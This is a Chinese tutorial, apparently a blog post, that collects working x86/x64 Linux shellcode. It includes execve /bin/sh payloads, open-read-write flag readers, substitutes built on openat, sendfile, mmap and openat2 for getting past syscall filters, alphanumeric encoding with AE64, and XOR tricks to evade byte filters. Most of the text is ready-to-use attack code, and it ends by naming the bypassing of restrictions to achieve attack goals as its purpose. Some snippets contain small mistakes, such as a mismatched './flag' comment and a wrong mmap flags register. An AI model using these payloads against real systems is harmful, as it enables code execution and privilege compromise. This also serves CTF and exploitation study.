x86_shellcode的一些总结
字数 1149 2025-08-22 12:23:47

x86/x64 Shellcode 构造与优化技术详解

一、Shellcode基础概念

Shellcode是一段机器码,通过漏洞程序产生的非法执行造成泄露、提权、getshell等危害。通常通过编译汇编语言来得到对应机器码。

关键特点:

  • 需要避免空字节(\x00)
  • 需要自包含,不依赖外部环境
  • 需要尽可能短小精悍
  • 需要适应目标环境(32位/64位)

二、32位Shellcode构造

1. 系统调用基础

  • 使用int 0x80进行系统调用
  • 传参寄存器顺序:ebx, ecx, edx
  • execve系统调用号:11 (0x0b)

2. 基本getshell shellcode

xor ecx, ecx      ; 清空ecx
xor edx, edx      ; 清空edx
xor ebx, ebx      ; 清空ebx
push ebx          ; 压入字符串结束符\x00
push 0x68732f2f   ; 压入"//sh"
push 0x6e69622f   ; 压入"/bin"
mov ebx, esp      ; ebx指向"/bin//sh\x00"
xor eax, eax      ; 清空eax
push 11           ; execve系统调用号
pop eax           ; 设置eax=11
int 0x80          ; 执行系统调用

3. ORW(Open-Read-Write) shellcode

; open("flag", 0, 0)
push 0x67616c66   ; 压入"flag"
push esp          ; 获取字符串地址
pop ebx           ; ebx指向"flag"
xor ecx, ecx      ; flags=0
xor edx, edx      ; mode=0
push 5            ; open系统调用号
pop eax           ; 设置eax=5
int 0x80          ; 执行open

; read(3, buf, len)
mov ebx, eax      ; 文件描述符(open返回)
push esp          ; 获取缓冲区地址
pop ecx           ; ecx指向缓冲区
push 0x100        ; 读取长度
pop edx           ; edx=0x100
push 3            ; read系统调用号
pop eax           ; 设置eax=3
int 0x80          ; 执行read

; write(1, buf, len)
push 1            ; stdout文件描述符
pop ebx           ; ebx=1
push esp          ; 获取缓冲区地址
pop ecx           ; ecx指向缓冲区
push 0x50         ; 写入长度
pop edx           ; edx=0x50
push 4            ; write系统调用号
pop eax           ; 设置eax=4
int 0x80          ; 执行write

三、64位Shellcode构造

1. 系统调用基础

  • 使用syscall指令
  • 传参寄存器顺序:rdi, rsi, rdx, r10, r8, r9
  • execve系统调用号:59 (0x3b)

2. 基本getshell shellcode

mov rbx, 0x0068732f6e69622f  ; "/bin/sh\x00"
push rbx
mov rdi, rsp      ; rdi指向"/bin/sh\x00"
xor rsi, rsi      ; argv=NULL
xor rdx, rdx      ; envp=NULL
push 59           ; execve系统调用号
pop rax           ; 设置rax=59
syscall           ; 执行系统调用

3. 优化技巧

  1. 使用push/pop代替mov:
; 代替 mov rax, rdi
push rdi
pop rax
  1. 使用xor清零寄存器:
; 代替 mov rsi, 0
xor rsi, rsi
  1. 精简版本:
mov rbx, 0x0068732f6e69622f
push rbx
pop rdi           ; 直接pop到rdi
xor rsi, rsi
xor rdx, rdx
push 59
pop rax
syscall

4. ORW shellcode

; open("./flag", 0, 0)
push 0x67616c66   ; "flag"
mov rdi, rsp      ; rdi指向"./flag"
xor esi, esi      ; flags=0
push 2            ; open系统调用号
pop rax
syscall

; read(3, buf, 0x100)
mov rdi, rax      ; 文件描述符
mov rsi, rsp      ; 缓冲区
mov edx, 0x100    ; 长度
xor eax, eax      ; read系统调用号=0
syscall

; write(1, buf, len)
mov edi, 1        ; stdout
mov rsi, rsp      ; 缓冲区
push 1            ; write系统调用号
pop rax
syscall

四、高级技巧

1. Reread技术

当shellcode空间有限时,可以先读入少量代码,再读取完整shellcode:

mov rdx, 37       ; 读取长度
xor rax, rax      ; read系统调用号=0
syscall           ; 第一次读取

; 之后发送完整shellcode

2. 可见字符shellcode

使用Ae64或alpha3工具生成纯ASCII字符的shellcode:

from ae64 import AE64
obj = AE64()
shellcode = asm(shellcraft.sh())
sc = obj.encode(shellcode, 'r13')

3. 手工构造可见字符shellcode

xor al,0x31
push 0x68
pop rcx
push 0x31
pop rdx
xor [rax+0x54],ecx   ; 构造'h'
push 0x42
pop rcx
xor [rax+0x53],ecx
xor [rax+0x53],edx   ; 构造's'
; 继续构造其他字符...

4. 绕过ret限制

当ret指令(0xc3)被过滤时,可以通过异或构造:

xor al,0x41   ; 0x41 ^ 0x82 = 0xc3 (ret)

五、ORW替代方案

1. open被禁用时

使用openat替代:

push 0x67616c66   ; "flag"
mov rsi, rsp      ; 文件名
xor rdx, rdx      ; flags=0
mov rdi, 0xffffff9c ; AT_FDCWD
push 257          ; openat系统调用号
pop rax
syscall

2. read被禁用时

使用sendfile替代:

mov rax, 0x67616c662f ; "/flag"
push rax
push 257
pop rax
mov rsi, rsp      ; 文件名
xor rdi, rdi      ; AT_FDCWD
xor rdx, rdx      ; flags=0
xor r10, r10
syscall           ; openat
mov r10d, 0x100   ; 长度
mov rsi, rax      ; 源文件描述符
push 40           ; sendfile系统调用号
pop rax
push 1            ; stdout
pop rdi
xor rdx, rdx      ; offset=0
syscall           ; sendfile

3. write被禁用时

使用mmap将文件映射到内存:

mov rax, 0x67616c662f2e ; "/.flag"
mov rsi, 0
mov rdx, 0
push rax
mov rax, 2        ; open系统调用号
push rsp
pop rdi           ; 文件名
syscall           ; open
mov rdi, 0        ; 地址
mov rsi, 0x100    ; 长度
mov rdx, 7        ; PROT_READ|PROT_WRITE|PROT_EXEC
mov rcx, 2        ; MAP_PRIVATE
mov r10, 2        ; offset
mov r8, rax       ; 文件描述符
mov r9, 0
mov rax, 9        ; mmap系统调用号
syscall           ; mmap
push rax
pop rsi           ; 映射地址
mov rax, 1        ; write系统调用号
mov rdi, 1        ; stdout
mov rdx, 0x40     ; 长度
syscall           ; write

六、openat2技术

当open和openat都被禁用时,可以使用openat2(需要Linux 5.6+):

mov rax, 0x67616c66 ; "flag"
push rax
xor rdi, rdi      ; rdi = -100
sub rdi, 100
mov rsi, rsp      ; 文件名
push 0            ; struct open_how
push 0
push 0
mov rdx, rsp      ; 指向struct
mov r10, 0x18     ; sizeof(struct)
push 437          ; openat2系统调用号
pop rax
syscall           ; openat2
mov rdi, rax      ; 文件描述符
mov rsi, rsp      ; 缓冲区
mov edx, 0x100    ; 长度
xor eax, eax      ; read系统调用号
syscall           ; read
mov edi, 1        ; stdout
mov rsi, rsp      ; 缓冲区
push 1            ; write系统调用号
pop rax
syscall           ; write

七、总结

关键点:

  1. 32位使用int 0x80,64位使用syscall
  2. 参数传递顺序不同(32位:ebx,ecx,edx;64位:rdi,rsi,rdx,r10,r8,r9)
  3. 系统调用号不同(可通过/usr/include/x86_64-linux-gnu/asm/unistd_32.hunistd_64.h查询)
  4. 字符串需要以NULL结尾,避免使用空字节
  5. 使用xor、push/pop等技巧减少代码大小
  6. ORW被限制时,寻找替代函数(openat, sendfile, mmap等)
  7. 可见字符shellcode可通过工具或手工异或构造

通过掌握这些技术,可以构造出适应各种环境的shellcode,绕过各种限制实现攻击目标。

x86/x64 Shellcode 构造与优化技术详解 一、Shellcode基础概念 Shellcode是一段机器码,通过漏洞程序产生的非法执行造成泄露、提权、getshell等危害。通常通过编译汇编语言来得到对应机器码。 关键特点: 需要避免空字节(\x00) 需要自包含,不依赖外部环境 需要尽可能短小精悍 需要适应目标环境(32位/64位) 二、32位Shellcode构造 1. 系统调用基础 使用 int 0x80 进行系统调用 传参寄存器顺序:ebx, ecx, edx execve系统调用号:11 (0x0b) 2. 基本getshell shellcode 3. ORW(Open-Read-Write) shellcode 三、64位Shellcode构造 1. 系统调用基础 使用 syscall 指令 传参寄存器顺序:rdi, rsi, rdx, r10, r8, r9 execve系统调用号:59 (0x3b) 2. 基本getshell shellcode 3. 优化技巧 使用push/pop代替mov: 使用xor清零寄存器: 精简版本: 4. ORW shellcode 四、高级技巧 1. Reread技术 当shellcode空间有限时,可以先读入少量代码,再读取完整shellcode: 2. 可见字符shellcode 使用Ae64或alpha3工具生成纯ASCII字符的shellcode: 3. 手工构造可见字符shellcode 4. 绕过ret限制 当ret指令(0xc3)被过滤时,可以通过异或构造: 五、ORW替代方案 1. open被禁用时 使用openat替代: 2. read被禁用时 使用sendfile替代: 3. write被禁用时 使用mmap将文件映射到内存: 六、openat2技术 当open和openat都被禁用时,可以使用openat2(需要Linux 5.6+): 七、总结 关键点: 32位使用 int 0x80 ,64位使用 syscall 参数传递顺序不同(32位:ebx,ecx,edx;64位:rdi,rsi,rdx,r10,r8,r9) 系统调用号不同(可通过 /usr/include/x86_64-linux-gnu/asm/unistd_32.h 或 unistd_64.h 查询) 字符串需要以NULL结尾,避免使用空字节 使用xor、push/pop等技巧减少代码大小 ORW被限制时,寻找替代函数(openat, sendfile, mmap等) 可见字符shellcode可通过工具或手工异或构造 通过掌握这些技术,可以构造出适应各种环境的shellcode,绕过各种限制实现攻击目标。